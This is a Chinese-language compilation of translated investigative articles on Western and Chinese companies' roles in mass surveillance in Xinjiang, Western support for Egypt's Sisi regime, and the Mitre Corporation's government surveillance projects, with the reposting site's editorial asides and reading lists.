该报告由总部位于弗吉尼亚州的 ICF International（一家享负盛名的数十亿美元的全球咨询公司）进行。该报告指出，**IBM** 的项目建立了一个平台，“可以与警用地理信息系统（**PGIS**）互连，以实现各种各样的智能服务。包括视频的预防性维护、行为分析、面部识别、视频摘要、快速搜索、图像锐化和案例调查分析。”

IBM开始在克拉玛依市工作的第二年，华为发布了“安全城市解决方案”手册，将该城市确定为成功的“安全城市”案例研究。

该手册介绍了华为如何安装“统一的安全城市平台”，该平台将为警察提供与 ICF International 有关IBM的报告中所述的监视功能。

☞简而言之，在 IBM 为卡拉玛依的所谓“智能”维稳方法创建了初始设计之后，华为继续进行了构建。

我问过IBM目前与华为的关系，以及它参与建立所谓的智能城市基础设施的基础，尤其是在维稳方面的基础，这些基础设施使得大规模监视在整个新疆地区得以迅速扩展。

尽管有许多征求意见的请求，并且 IBM 发言人做出了一些保证，即将提供答案，但是，最终该公司没有做出任何回应。

根据总部位于伦敦的全球隐私权倡导组织和监管机构“隐私国际”的智能城市专家 Eva Blum-Dumontet 所说：

“西方国家开发了智能城市的模型 —— 值得记住的是，智能城市这个词源于***IBM*** —— 通常是高度侵犯隐私的，并且涉及到系统性地收集公民数据。现在也难怪其他国家也在这样做。

不幸的是，这种模式在政府监视下经常可以看到：西方国家决定接受新制度或新法律，因为这一切都属于法治，然而。我们最终看到的是该法律或制度在国外被复制，有时后果更糟。”

与恶魔共舞

克拉玛依只是更大计划中的第一个项目而已，仅在2014年上半年就涉及在新疆16个主要城市和63个县建设 5,000 个4G移动基站。到那年年底，建造了12,000个4G基站。

到**2016**年，随着智能城市基础设施在新疆的扩展，IBM 仍在克拉玛依开展业务，并根据该市地方政府网站开始引入“认知物联网”（IoT）。

IBM 的技术围绕 Watson IoT 平台构建，Watson IoT 平台是一个AI系统，可以在大量不同类型的数据中找到模式和关系。

沃森（Watson）在中国的其他应用之一是 CCTV.com，使用该软件通过移动设备测量 GPS、海拔、体温和心率，从而使粉丝能够跟踪 Vaude-Tibet 自行车挑战。

根据 IBM 的 Kevin Larson 的说法，⚠该平台的强大之处在于它能够提取和分析几乎任何格式任何形式的数据，以及搜索与其他类型数据的相关性。

它可以跨气象数据、科学文章、车队、环境传感器或视听源执行此操作。这使得该平台非常适合广泛的监视应用，⚠包括检查视频和照片以识别可以将人和事件联系起来的场景和样式，以及检查来自客户电话、博客、博客评论和推文的记录 —— 再一次以关联信息和检测模式的方式。

目前尚不清楚 Watson 平台在克拉玛依市中实际应用的确切程度，以及华为对 Watson 的访问权限 —— IBM和华为的发言人均未作任何澄清。

☞但是，这座城市是许多维吾尔族“再教育”营的所在地，居民经常因穿着“穆斯林服装”或“留胡须”而被警察带走。

该市广泛的监视网络（最初是在IBM的“公共安全/维稳”平台下建立的，后来演变为华为的“安全城市”计划）使这种做法更加自动化。

根据该计划，华为向克拉玛依当局提供了将视频监控与AI和大数据相结合的技术，提供了公司所谓的“一种融合的、可视化的命令解决方案，使政府机构可以灵活地共享视频资源并协作跟踪任何他们想要的人。”

去年12月，华为官方网站上发布了有关其参与大规模监视的屏幕截图。这些资料显然在华为网站上很难获得，活动家只有通过注册帐户并登录才能访问。但是，在其他地方，华为公司的代表似乎很乐意谈论这点。

“华为安全城市项目对克拉玛依建设世界一流的公共安全基础设施做出了重大贡献”，华为高管 Viktor Yu 在公司网站上写道。“该项目支持全市访问数百个摄像机提供的监视视频，使成千上万的警察能够有效监控近30万人。”

Yu 继续说：

“在过去几十年中，指挥平台使用了大量的累积犯罪数据，已经预先集成了各种预警方案。当检测到异常时，分析平台会自动生成优先警报。其影响是大大降低了犯罪率，并广泛维护了社会稳定。”—— 他承认了协助维稳。

在过去的十年中，华为在中国各地 —— 上海、江苏、广东和其他城市 —— 建立了数十个维稳城市计划。

2018年5月，华为与新疆首府乌鲁木齐市公安局建立了新的合作伙伴关系，继续在新疆开展工作，建立了所谓的“智能安防行业”创新实验室。

华为董事陶景文在该公司的网站上说，该实验室将为该地区创造一系列专业知识，以“开启智能警务的新时代，并帮助建立一个更安全，更智能的社会”。

目前在新疆使用的技术中，有先进的面部识别技术，旨在根据其外观专门搜索维吾尔族人，从而有可能迎来纽约时报所说的“自动化种族主义的新时代”。

- 《西方学术界帮助构建了中国的自动化种族主义》
- 《全球大规模监视的崛起：我们是如何走到这一步田地的？》

- 《新第三帝国》

华为没有回答有关其在支持此类技术出现中的作用的问题。

⚠没有IBM的大力支持华为就不可能实现巨大的增长。早在**2000**年，IBM就与华为签署了一项协议，为其提供前所未有的微电子部门研发设施使用权。

“当时，与华为技术公司高级副总裁 William Xu 表示：“与IBM合作将使华为能够更快地访问我们所需的先进网络技术，从而为全球客户快速交付高端电信设备。”

没有迹象表明 IBM 与华为之间的这项协议什么时候终止，两家公司都没有借此机会否认双方之间的长期合作关系。

根据2016年《中国日报》对华为创始首席执行官任正非的采访，**IBM**与华为的紧密关系一直持续到今天。采访证实，华为每年向**IBM**支付超过**1**亿美元的咨询费：

这家共产党报纸指出：“华为每年花费超过1亿美元邀请 IBM 的顾问团来帮助管理公司。”

为什么如此大的投资？

任正非的回答是，价格是值得的：“从生产价值约10,000元人民币的产品开始，我们就在价值链中上移，使价值数百亿美元的产品达到数千亿美元。在他们「IBM」的帮助下，华为正在稳步发展，因此，我们每年在咨询费上的支出超过1亿美元是值得的。”

攀高枝儿的香甜

华为自己出版的 ICT洞见杂志2017年版重点关注其 “维稳城市” 计划，其中包括讨好埃森哲、波士顿咨询集团、英国公共安全通信协会（BAPCO）和 IHS Markit 赞扬该计划的 “好处”。

☞同年，华为又签署了其维稳城市计划的协议，该计划由三家公司生产，用于视频分析和面部识别技术，这些公司是：

- 以色列公司 Agent Vi，其投资者之一是美国电信巨头摩托罗拉系统公司；关于后者，可参见这篇文章《以手机闻名的公司正在迅速成为政府监控的主要参与者》
- 第二家是 Ipsotek，这是一家英国监视技术公司，专门从事智能

视频分析，并获得了英国政府内政部的认可；
- 第三家是总部位于新加坡的 Xjera Labs，最近被 Business Insider 称为 “世界上最复杂的面部识别系统”。

签字仪式是在世界经济论坛支持的国际刑警组织全球会议上在华为赞助的论坛上进行的。

对于国家安全专家 Anders Corr、美国太平洋司令部（USPACOM）、美国太平洋特种作战司令部 (SOCPAC)的前美国军事情报分析师、以及其他机构而言，这种合作伙伴关系和投资是可以预期的。

但是，由于它们构成了严重的潜在风险，因此改善政府监管是唯一的补救措施。

“西方及相关公司有责任使股东利益最大化。期望这些公司按照任何人性道德准则行事都是错误的。这就是为什么我们需要政府监管这些公司，以保护国家安全、人身自由和人权，包括中国公民的人权”，Corr 说。

⚠实际上，情况恰恰相反。例如，尽管特朗普政府经常对中国科技公司表示敌意，但是，美国政府长期以来一直鼓励美国公司 **利用** 中国的数字化驱动力。

不只是以前的民主党政府如此。

2017年夏季， Trump 的商务部为想要在中国投资的美国公司发布了一份国家指南，确定了大数据、物联网、人工智能、云计算和所谓的“智能城市发展” 的投资机会。

该文件语气兴奋地说道：“智能城市系统正在管理交通、稳定电网、分配和协调紧急服务，并向管理人员提供更多的城市信息。” 尤其是👇

“外国公司有机会利用技术、运营和管理优势，参与智能治理、智能行业和智能公共服务等领域的智能城市建设。 ”

👉 三个月后，特朗普商务部与中国政府资助的上海浦东智能城市研究院合作，在上海举办了“中美智能城市论坛”。

⚠该活动的官方邀请手册将中国的智能城市市场描述为一个3000亿美元的机遇，呼吁美国公司参与其中：

“作为智能城市技术的领导者，美国技术和服务提供商处于独特的位置，可以利用中国的这一新变化。更智能的技术将帮助中国应对城市挑战，为创新的美国技术和服务提供商创造无与伦比的机会。”

☞英国政府还试图通过其“中国繁荣战略项目基金（SPF）”为中英两国的联合智能城市项目"提供直接资金"，以吸引中国的注意力。

该项目将英国公司“引入了中国智能城市市场”，但也希望利用对中国智能城市实践的研究来在英国国内实施。

- 以间谍起家的英国至今都是全球数一数二的监视重灾区《“社会信用”监视：英国、中国、美国和日本》
- 在反加密战争中英国也非常积极《反加密的战争正在升级：美国、英国和澳大利亚政府说”我们要后门”》

2018年，英国政府组织了一个英国商务代表团前往中国大湾区，以促进向本地中国客户宣传所谓的智能城市发展。

Corr 将英国对中国的迷恋归因于民主赤字，这是硅谷与政府关系的核心。

如今，科技公司“通过政客的腐败、包括通过竞选捐款、以及企业和政府职位之间的旋转门，对我们的政府产生了非凡的影响力。他们还可以牵制政府，因为他们可以将一个管辖权移交给另一个。他们可能威胁将其利润和工作机会转移到国外，从而威胁要减少旨在抵消其利润动机的任何法规。” Corr 说。

- 这不是新闻，更多参见 列表-2 “老大哥的真面目”
- 关于谷歌的旋转门《追踪谷歌的政治旋转门：开源调查》
- 关于Facebook 的旋转门《深层政治：Facebook金字塔的人形肌理—— 仅仅依靠开源数据，扒开利维坦的内裤》

微软和华为穿一条裤子

微软是对从中国大规模监视活动中获利毫不犹豫的另一家美国科技巨头。

2019年3月，微软被指控与中国公司 SenseNet 合作，后者专注于监控新疆的维吾尔族穆斯林，允许该公司在微软 Azure 认知服务上运行其颇有争议的生物识别技术。

- 关于 SenseNet，见 列表-4 “作恶者：谁在帮中国”

IBM、微软等寡头在中国监视城市中的作用只会变得更加隐蔽和阴险。

2019年4月，微软在中国上海浦东新区启动了第三个也是最大的一个“AI和IoT Insider” 实验室，与未指定的中国公司和跨国公司合作。

该实验室原本计划制造原型，以支持包括制造业、零售业、医疗保健业、和 “公共部门” 在内的各个行业的 “数字化转型”，☞这当然需要为政府机构直接提供的任何服务，也包括警察和维稳机构。

微软在中国的许多智能城市项目 *表面上* 看起来无害。其中一项是与北京市政府和环保部合作的城市空气质量项目，该项目利用大数据监测和预测空气质量。在另一个项目中，微软正在与武汉市政府合作，使用聊天机器人来回答市民在城市服务方面的常规问题，例如，如何获得驾驶执照。

这是多年联姻的高潮。 2014年，微软与云南、株洲、长春、扬州、和温州等中国多个省市签署了一系列的合作协议，这是该公司所谓智能城市的 CityNext 计划的一部分。

没有证据表明，通过这些举措微软直接为中国政府专门开展了与监视有关的项目。他们隐蔽得非常好。

但是在2016年，微软的中国子公司在北京为维稳部举办了一个研讨会，展示了所谓的 “公共安全” 解决方案。

微软公司负责公共安全和国家安全的总经理 Arthur Thomas 对该研讨会的坦率描述可以在微软的网站上找到。

Thomas 说：“微软拥有正确的分析解决方案，可以评估潜在的紧急情况，确定其预期的影响，然后促进执行突发事件行动计划。”

他说，“我们通过将来自不同来源（例如位置、跟踪、传感器、视频、交通报告、医院状况、天气报告、社交媒体和其他动态数据）的信息，与GIS数据（例如图像、海拔、街道、和关键基础架构等）结合起来以做到这一点。”

「图」

「图」

我问微软，在计划向涉嫌压制异见人士和少数族裔的专制国家提供这种技术之前，该公司是否向中国政府强调了任何担忧。微软拒绝置评。

在该研讨会上，微软的技术合作伙伴之一是澳大利亚公司 iOmniscient —— 该公司已为中国城市提供了视频监视和分析技术，包括为成都地铁服务和中国军工厂提供的视频监视和分析技术。

“中国最大的常备军在其军工厂中使用了 iOmniscient，” iOmiscient 公司产品展示台上就是这么写的。

「图」

「图」

☞没错，近年来，华为参与提供的众多压制性监视技术并没有阻止微软与这家中国公司紧密合作。

2017年，微软与华为签署了一项协议，声称建立 “开放、共赢的生态系统”，“在公共云上启动深度合作”。该协议将把微软企业服务带到华为云。次年，两家公司又推出了基于微软 Azure 堆栈软件的联合云解决方案。

次年，华为与新疆乌鲁木齐市警察局就 “公共安全” 继续加强对新疆监视国家的支持。

这只是更广泛的同谋的又一个例子而已。去年年底，澳大利亚战略政策研究所发现：

“华为在新疆的工作范围广泛，包括直接与中国政府在该地区的公安部门合作。在有关华为和*5G*技术的辩论中，应考虑华为在新疆的活动。”

当我询问微软是否考虑过与建立全球最大监视系统的中国公司合作时的道德问题时，微软不想发表评论。

华为，华为，无处不在 ……

华为与英国政府的蓬勃发展只是最近的成功。该公司有关维稳城市计划的官方文献现在声称已将该模型输出到世界各地的230多个城市。

华为安全城市解决方案的最早采用者包括很多具有威权主义和内部暴

力历史的国家，包括俄罗斯、巴基斯坦、老挝、安哥拉、亚美尼亚、阿塞拜疆、塔吉克斯坦、乌克兰、乌兹别克斯坦、吉尔吉斯斯坦和哈萨克斯坦。

在塞尔维亚，华为与贝尔格莱德首府签订了所谓的公共安全合同，其面部识别监视摄像头系统的安装因违反公民隐私法而受到数字权利监督机构 “Share Foundation” 的严厉批评。

尽管 Boris Johnson 政府已经提出了很多想法，即 不允许华为访问 “安全关键” 基础架构，但是，这已经在发生了。

GlobalData 技术研究团队的首席分析师 David Bicknell 说：“华为在英国关键的国家基础设施中的重要性已经不新鲜了。”

“自2003年以来，它一直致力于政府项目，并于2011年聘请了该国顶级IT专家 John Suffolk …… 在过去的二十年中，该公司已经深深地融入了英国的电信市场，以至于政府愿意冒险与主要盟友进行公开对抗，而不是将华为排除在英国的**5G**网络之外。”

☞ 但是，由于华为技术已与可信赖的第三方供应商达成协议，因此已经被英国和欧洲的一些最敏感的基础设施所采用。根据公司的新闻材料，其中包括 “空中交通管理（民用和军用空中交通管理和防空）、以及公共安全与运输（警察、消防和救援服务、紧急医疗服务、船只交通和铁路等）。”

根据华为网站上的公告，与 Frequentis 的合作伙伴关系将推动 “共同开发公共安全解决方案的开放生态系统，以迎接更安全的城市”。两家公司将共同创建 “用于指挥和控制中心的下一代调度解决方案”。

“通过支持不同机构之间的监视系统无缝集成、实时语音和数据传输服务等支持功能，该联合解决方案将帮助警察维稳机构提高效率，同时降低关键任务***IT***投资的总成本。”

☞Frequentis 为包括美国、英国和整个欧洲在内的**140**多个国家/地区提供其技术，从而使其成为世界上最大的语音通信系统提供商。

它的客户包括英国国防部、伦敦市警察局、美国国家航空航天局、美国海军、澳大利亚皇家空军、瑞典海事局和欧洲管制局、后者正致力于欧洲委员会的 “欧洲单一天空” 项目，以创建第一个用于空中交通管制的泛欧洲语音通信系统。

⚠该声明断言，**Frequentis** 与华为的合作伙伴关系将产生的技术市场

已接近全球，覆盖欧洲、中东、非洲、亚太地区、和拉丁美洲。Frequentis 没有回应置评请求。

像所有其他公司一样，华为也最终未能回答记者的问题，尽管做出了最初的回应和反复的保证。

☞他们中的任何一个都不愿意结束这种噩梦般的技术合作，因为他们在促进不仅已经成为历史上最大的大规模监视行动，而且，现在已成为种族文化灭绝行动的崛起中发挥了至关重要的作用。

随着华为继续稳步渗透全球各地的电信，安全、监控和其他关键技术基础架构；当政府吹嘘自己的技术实力时 —— 值得记住的是，他们如何磨练和完善自己的能力 —— 他们一直踩在中国受压抑的维吾尔族人的鲜血和尸体之上。〇

- 〇 作者 Nafeez Ahmed 博士是屡获殊荣的调查记者、变革战略家和系统理论家。他是众筹研究型新闻平台 //INSURGE intelligence// 的编辑，也是 VICE 的 “system shift” 专栏作家。

原文

西方政府如何助长了数十年来最严重的人权危机 - iYouPort

协助暴政的家伙们老大哥的真面目

选择性批评，并选择性协助暴政

「图」

「图」

唐纳德·特朗普说，总统 Abdel Fattah al-Sisi 是个“好人”，同时在英国政府的眼中，Sisi 正在带领埃及“过渡到民主国家”。

然而，在前所未有地压制公民自由之后，联合国不得不提出要求：“提醒埃及政府，根据国际法，人民有权进行和平抗议，并有权表达自己的意见，包括在社交媒体上发表意见”。

仅在过去的两个月中，埃及政权就被指控折磨人权活动家 Alaa Abdel Fattah 和 Esraa Abdel Fattah，并拘留了 9000 多人，由于9月20日爆发的抗议活动。

该政权对抗议活动的反应不仅增强了 Sisi 的压迫性和威权主义声誉，而且，也使西方对世界范围内人权侵犯问题的选择性谴责成为了人们关注的焦点。

西方国家以加强地区和国际安全为名，却无视普通埃及人每天面临的真正威胁。

人权观察组织估计，自2014年上任以来，Sisi 已基于政治理由监禁了6万多人。此外，根据"联合国"禁止酷刑委员会的记录，“酷刑是该国的系统性做法”。

尽管如此，美国和欧洲各国政府的反应却非常迟钝。

西方国家政府继续向 **Sisi** 政权提供支持此类暴行的

技术、培训和设备

最近的抗议活动开始四天之后，鲍里斯·约翰逊（Boris Johnson）在纽约的联合国大会上会见了埃及领导人，在那里，他们谈到了“两国的经济联系以及在英国离开欧盟后在此基础上继续发展的重要性”。

但是，在该国发生的任何侵犯人权行为都没有被提及。

西方政府不仅坚定地拒绝承认人权组织的许多指控，而且，还继续向 Sisi 政权提供支持这类暴行发生的技术、培训和设备。

「图」

「图」

这些自称支持全世界公民自由的西方国家领导力，却以持续支持暴政而失去了其自己履行国际人权义务的能力。

去年底在国会通过的一项法案明确表明：“美国的政策是限制向任何一贯严重违反国际公认原则侵犯人权的政府出口安全援助和犯罪控制及侦查的手段和设备”。

该法案已经禁止向香港警察出售催泪瓦斯。

然而，美国继续向埃及政权提供每年13亿美元的所谓“安全援助”，就在承认“埃及在人权和民主化方面的糟糕记录”之后。

尽管安全援助和军事训练表面上旨在促进国际和区域稳定，特别是与邻国利比亚有关的稳定，但是，它们也同时使日趋集权的政权变得更加壮大，而忽略了埃及公民的困境。

而且，支持不仅仅来自外国政府。

美国公司还被指控共谋行为 —— 在埃及国内协助政府对异议的打压行动。

- 他们对中国也是这么做的《美国科技巨头如何帮助中国建立大规模监视系统》
- 对其他国家也是这么做的《血族：美国人、IBM 和出口的数字警察国家》
- 中国自己也在做同样的事《中美 1984 在海湾的黑手》

驻开罗的独立记者 Wael Eskander 发现，推特暂停了许多“对埃及政府持批评态度的账户。

- 推特已经多次被曝光协助专制政府《推特仍在帮助中国政府推动虚假消息的传播》
- 《我是活动家 ⚠ Twitter 让我的生命处于危险之中》

埃及政权日益寻求限制一切形式的表达自由，包括在线表达自由。

例如，在最近的抗议期间，该政权阻止了国内对 BBC 和 Alhurra 的访问，使公民不得不依赖VPN才能使用热门新闻服务。

英国是埃及最大的单一外国投资国，英国的表现是最说明问题的。

英国政府网站上称：“对于埃及和该地区来说，这是一个历史性的时刻。埃及向民主国家的过渡有可能成为该地区许多其他国家的榜样。”

有证据表明英国已向包括埃及在内的该地区一系列专制国家"出售了"价值超过**7700**万美元的间谍软件和监视技术，这使该声明的性质更加令人震惊。

Sisi 政权的监视和搜查设备的日益复杂的性质得到了多家西方公司的支持，包括意大利 "Hacking Team" 和以色列最邪恶的" NSO 集团"。

- 《法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难》

尤其是法国，因其在加强埃及政权的监视能力方面的作用而广受批评。

大赦国际和国际人权联合会在去年的一份报告中发现，法国公司已向埃及间谍服务提供了批量拦截、个人监视和个人数据获取等技术。

报告认为，结合这些资源，法国“已经参与了旨在消灭所有异议的广泛监视和人群控制架构的建设”。

尽管有越来越多的侵犯人权证据，但是，根本没有迹象表明西方政府将以任何有意义的方式开始挑战埃及政权的人权记录。

相反，他们似乎打算维持庞大的维稳援助预算和有利可图的贸易协议，这只会使该专制政权变得更加强大，并可能导致埃及局势恶化。

公民权利组织呼吁西方国家政府立刻正式谴责在 Sisi 领导下发生的侵犯人权行为，并呼吁进行变革。此后，西方国家必须遵守国际人权义务，并停止向该政权出售潜在的压制技术。

如果西方政府拒绝这样做，无异于继续遏制人权和自由，并需要准备好承担支持暴政的后果。〇

Sisi’s brutal crackdown continues, aided by western accomplices

原文

这个20亿美元的监视实验室，隐藏了60多年不为人知 - iyouport

老大哥的真面目

“你可能不知道，但我们每天都能触动你的生活”

不管是隐形的阿斯顿马丁还是会爆炸的钢笔，每当詹姆斯·邦德需要高科技优势时，他都会去找Q和他的军情六处秘密实验室。而在现实世界中，美国特工往往依靠一个不那么秘密的，但资金更充足的组织。

Mitre公司拥有**8000**名员工，每年的预算在**10**亿到**20**亿之间—— 这都是来自纳税人的钱，这个与政府有关联的 “臭鼬工厂”，**60**多年以来一直在为政府机构制造尖端技术突破。

【注：臭鼬工厂是洛克希德·马丁公司高级开发项目的官方认可绰号，位于美国加利福尼亚州棕榈谷。臭鼬工厂以担任秘密研究计划为主，研制了洛马公司的许多著名飞行器产品，包括U-2侦察机、SR-71黑鸟式侦察机、F-117夜鹰战斗机、F-22猛禽战斗机及F-35闪电II战斗机等。于是 “臭鼬工厂” 这个名字指代那些秘密地政府机构服务的军工科技综合体。】

Mitre 公司的总部设在弗吉尼亚州麦克莱恩市的一座小山顶上的四座塔楼里，**Mitre**公司的研究中心雇佣了一些美国顶尖的计算机科学家和工程师，为顶级军事、维稳和情报机构打造数字工具。

在那些狂野的 Mitre 政府订单中，有一个可以入侵智能手表、健身追踪器、和家用温度计的原型工具，用于 “国安”；为FBI提供的是从 Facebook、Instagram 和 Twitter 等社交媒体网站收集人类指纹的软件，支持建立FBI所谓的世界上最大的人体解剖学和犯罪史数据库；以及一项确定某人的体味是否可以显示其在撒谎的研究 ……

这些不同的、价值数百万美元的项目，通过《信息自由法案》的要求获得的数百页合同细节，以及对 Mitre 前高管和政府官员的采访，揭示了这个庞大的承包商的秘密世界。

Mitre 的影响力远不止于其庞大的技术开发，它也是众多政府机构的主要顾问，为其提供如何最好地部署技术和政策战略的建议。它最近的工作是：帮助疾病控制和预防中心（CDC）和国土安全部的 “反大规模杀伤性武器” 办公室制定遏制Covid-19大流行的全面计划。（一家神奇的监视技术公司负责防疫 ……）Mitre的前工程师 Matt Edman 曾与FBI合作在暗网追踪 “丝绸之路”

“只要有国安或公共利益[问题]，Mitre 一般就会参与其中”，前 Mitre 网络安全工程师 Matt Edman 说。

秃头、大胡子、男中音，Edman 本可以在硅谷热门科技公司工作，但是，他却将自己的才能集中在一个具有挑战性的维稳问题上。在 Mitre 工作期间，Edman 与FBI合作，利用他的黑客技术帮助打掉了丝绸之路暗网毒品集市。在他离开 Mitre 后不久，于2013年10月获准完成工作，并在冰岛雷克雅未克与FBI特工 Ilhwan Yum 合作关闭了由海盗罗伯茨（真名：罗斯·乌尔布利特）经营的网站，他现在正在服无期徒刑。当 Mitre 帮助FBI入侵并监控了多个儿童色情网站的用户时，他也是为Mitre工作，这是 “鱼雷行动” 的一部分，当时的司法部长 Loretta Lynch 将其称为具有里程碑意义的暗网调查。

> “执法机构能够廉价，轻松，快速地从社交媒体上获取人们的指纹的前景真是令人不寒而栗。”

Mitre 的历史上充满了这样的无偿公益服务。正如它的宣传资料所说的：“你可能不知道，但**Mitre**每天都能触动你的生活”。

想知道 Mitre 的触动有多大？福布斯展开了调查，将 Mitre 惊人的工作范围从阴影中拉出来。

调查发现的是一个精英机构，事实证明它是美国政府的一大福音，为监控罪犯、流行病、试图非法入境的移民提供了关键技术工具。但是，同样的监视工具也被用来监视异议人士和反抗者，在人权组织和美国公民自由联盟等隐私倡导者中敲响了警钟。尽管多次要求与 Mitre 高管会面并访问其总部，但 Mitre 拒绝为本文提供评论。联邦调查局和国土安全部承认了评论请求，但没有提供任何评论。Mitre 的总部位于麦克莱恩·华盛顿（McLean Washington）地铁站的正前方，与美国最大的另一家国防供应商诺斯洛普·格鲁门公司（Northrup Grumman）隔壁

很少有人听说过 Mitre，也不知道它的使命。即使是住在其大型办公建筑群附近的当地人，也往往不知道它在过去**60**年里一直是美国国安

和国防的坚定支柱。

“它离我住的地方只有几英里远，从50年代中期开始就一直在那里”，Shawn Valle 说，他在2008年第一次那里面试，“但我从来没有听说过它”。 Valle最终为空军从事网络安全工作，并在那里的五年中负责寻找谷歌Android操作系统中的漏洞。

虽然不在公众视野中，但 Mitre 的历史却很了不起。这家非营利性公司诞生于冷战时期，从可能是世界上最著名的科技校园—— 麻省理工学院中分离出来。（MIT的缩写为Mitre提供了名字的前半部分）

20世纪50年代末，面对与苏联核战的风险，美国空军要求麻省理工学院帮助其创建一种防空系统，以帮助其探测来袭的轰炸机。该研究所提出了半自动地面环境（SAGE）。该系统将雷达、无线电和网络通信结合起来，探测来袭的敌机，向附近的空军基地发出警报并持续更新，空军基地将发动喷气式飞机拦截接近的威胁。这是美国第一套防空系统，**1958**年麻省理工学院的管理人员成立了**Mitre**公司，负责管理**SAGE**及其未来的发展。

> “ DHS已要求 Mitre 帮助建立持久的国家监控能力，声称防疫。”

Mitre担任9/11首席执行官期间，马丁·法加（Martin Faga）帮助重建了五角大楼的通信网络，并开发了技术，在废墟中寻找“原爆点”幸存者

在接下来的**40**年里，**Mitre** 参与了诸如机载预警和控制系统**(AWACS)**和监视目标攻击雷达系统**(STARS)**等著名空中监视技术的幕后工作。它还在**GPS**和商业航空公司的交通防撞系统等大量使用的技术的发展中发挥了重要作用。如今，它的职权范围更加广泛，领导着各种网络安全计划甚至医疗项目。

“我一直向人们解释的 Mitre 的特点是，当我们说我们是做信息科学的时候，我们远远超出了人们通常所说的IT领域”，2000年至2006年 Mitre 的CEO Martin Faga 告诉福布斯。例如，它会设计一种专门的天线，放在军用飞机上，以发送和接收来自通信卫星的数据，Faga 说，他是一位白发苍苍、不那么显眼的美国情报机构和承包商的长期雇员。然后，Mitre 公司也会设计卫星通信系统，以及雷达—— 基本上是 “每一种信息系统”，他补充说。

该公司在监控领域广泛的专业知识现在正被用来 “防疫”。在6月底与

CDC签署的一份价值1630万美元的合同中，Mitre 被要求帮助建立“一种持久的国家监控能力”。

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》

2019年，CDC与 Mitre 在疾病监测技术和服务上花费了2000万美元，但没有回应《福布斯》关于这些流行病防疫计划更多细节的要求。与此同时，3月17日，在Covid-19引起的全国紧急状态的四天后，美国国土安全部反大规模杀伤性武器（CWMD）办公室呼吁Mitre有效地充当大流行病应对计划的支点，“参与、告知和指导” 市长、州长和应对大流行病的应急领导人。Mitre 还将创建疾病模型来跟踪病毒传播，并确定哪些 “非药物干预”（也就是NPIs—— 比如关闭学校、商店和实施社会疏离）可以帮助立法者 “把曲线拉直”。

政府数据显示，纳税人在 **Mitre** 身上花的钱近年来一直在上升，已接近**20**亿美元。 **Mitre** 表示，其**2019**年的整体收入为**18**亿美元。

20万美元的合同（按照Covid的支出标准，微乎其微）规定：“随着疫情的发展，承包商将识别、收集和分析所有可能的数据，使州和地方领导人能够近乎实时地了解情况，以便最终适当地追溯NPI的实施工作”。换句话说，**Mitre**正在指导美国领导人的决策。

Mitre和国土安全部都没有解释为什么CWMD部门要管理这样一份合同。此外，Mitre 还无偿创建了一个名为 “Sara Alert” 的联系人追踪系统，该系统一直在帮助各州 —— 阿肯色州、宾夕法尼亚州和佛蒙特州等 —— 监测人们都接触到哪些其他人了。该系统让已知有感染Covid-19风险的人将他们的症状和体温上传到州和地方卫生机构的数据库。

在阿肯色州，自4月初以来，已有12861人注册，通过短信、电话、电子邮件或网站向卫生部门实时更新自己的病情。“这个系统让我们能够更容易地识别次要病例，真正建立起对社会集群的更好的处理，这一直是一个挑战”，阿肯色州卫生局首席流行病学家迈克·西玛博士说。它是如此成功，西玛甚至计划在**Covid-19**最终消亡后，继续使用 **Sara Alert** 监控其他传染病**——** 简单说，持续监控。

Mitre 公司与其他军事和情报承包商的不同之处在于，它没有任何赚钱的任务。与诺斯洛普·格鲁门公司、雷神公司和通用动力公司等商业承包商不同的是，它运营着**7**个这样的 “臭鼬工厂”，业界称之为 “联邦政府资助的研发中心”（**FFDRCs**），这个平凡的名字掩盖了它们惊

人的工作。

Faga 说，Mitre 只对员工的时间进行收费，并收取少量费用，通常占整体成本的3%左右，以支持进一步的独立研究。“人们带着一个伟大的想法前来，并说：’天啊，如果我有10万美元，我可以把这个变成伟大的东西’。而我们公司可以直接把这些东西给他们。”

这让这位前CEO在他的环形跑道竞争对手中处于不同寻常的地位。Mitre 并没有将其创造的技术商业化。一旦建立了一个原型，它就会被授权给政府、私人企业或学术机构。自**2014**年以来，它已经向行业和大学合作伙伴转让了**670**多份授权。前联邦调查局科学负责人克里斯·皮耶霍塔（Chris Piehota）之前曾被罗伯特·穆勒（Robert Mueller）任命为该机构恐怖分子筛查中心的主任。

不受商业压力的影响，Mitre 获得了开发一些更激进的答案来解决政府最紧迫的问题的自由度。

以一个从公民的 **Facebook**、**Twitter** 和其他社交媒体帖子中收集指纹的项目为例。福布斯获得的电子邮件和 Mitre 合同的细节概述了FBI的一个价值50万美元的“社交媒体图像指纹采集项目”，该项目始于2015年。该项目由FBI在匡蒂科的一个黑客部门—— 行动技术部负责，并由一个此前未报道的名为 Triad 的研究资助机构提供资金。

最近退休的负责人 Chris Piehota 表示，Triad 旨在资助客观外部机构的创新研究，“图像指纹” 就像其字面意思一样：试图从社交媒体照片中获取生物识别信息。想想那些把自己的照片放在网上，做着各种手势的人，**Piehota**解释说，“这些发照片的人也让我们获得了他们的指纹模式”，他补充道，“[FBI]可以从这些图像中获取你的指纹特征，他们可以为[政府没有保存生物信息的]个人建立指纹文件或指纹特征”。

这可能对违反移民法的个人有用，因为美国在另一个数据库中没有他们的指纹记录，而所有公民都应该被收集指纹了，Piehota 补充说。包括用WhatsApp 中的照片抓毒贩 —— 在这里看到具体细节《这些使用暗网的人是如何被抓到的？》。

> “想想那些穿越边境的人，一个监控工具可以检测智能手表，并对其进行黑客攻击”

该技术如果如描述的那样工作，对Mitre合作的警察和情报机构来说的确是很有用的，但对您的隐私人权和安全来说则是非常危险的。美国公民自由联盟言论、隐私和技术项目的参谋律师内特·韦斯勒说，这

个监控项目引发了“严重的隐私问题”，尤其是在冠状病毒大流行和种族不平等的动荡时期。

“没有人会想到，通过在网上发布数码照片，就会将自己独特的生物识别数据，包括指纹，暴露在警察数据库的收集中”，他说，“我们不仅看到历史性的抗议反种族主义和警察暴力，而且我们还看到历史性的数字记录那些抗议者的照片，由媒体和警察部门收集 ……执法机构能够廉价、轻松、快速地从这些照片上获取人们的指纹，这种前景是格外令人震惊的”，Piehota指出。

Mitre 在协助美国政府扩大生物识别监控方面有一定的历史。2014年的另一份合同详细介绍了 Mitre 协助FBI开发面部识别工具的工作，直至“通过标记感兴趣的任何对象来创建本地重点监视名单”。

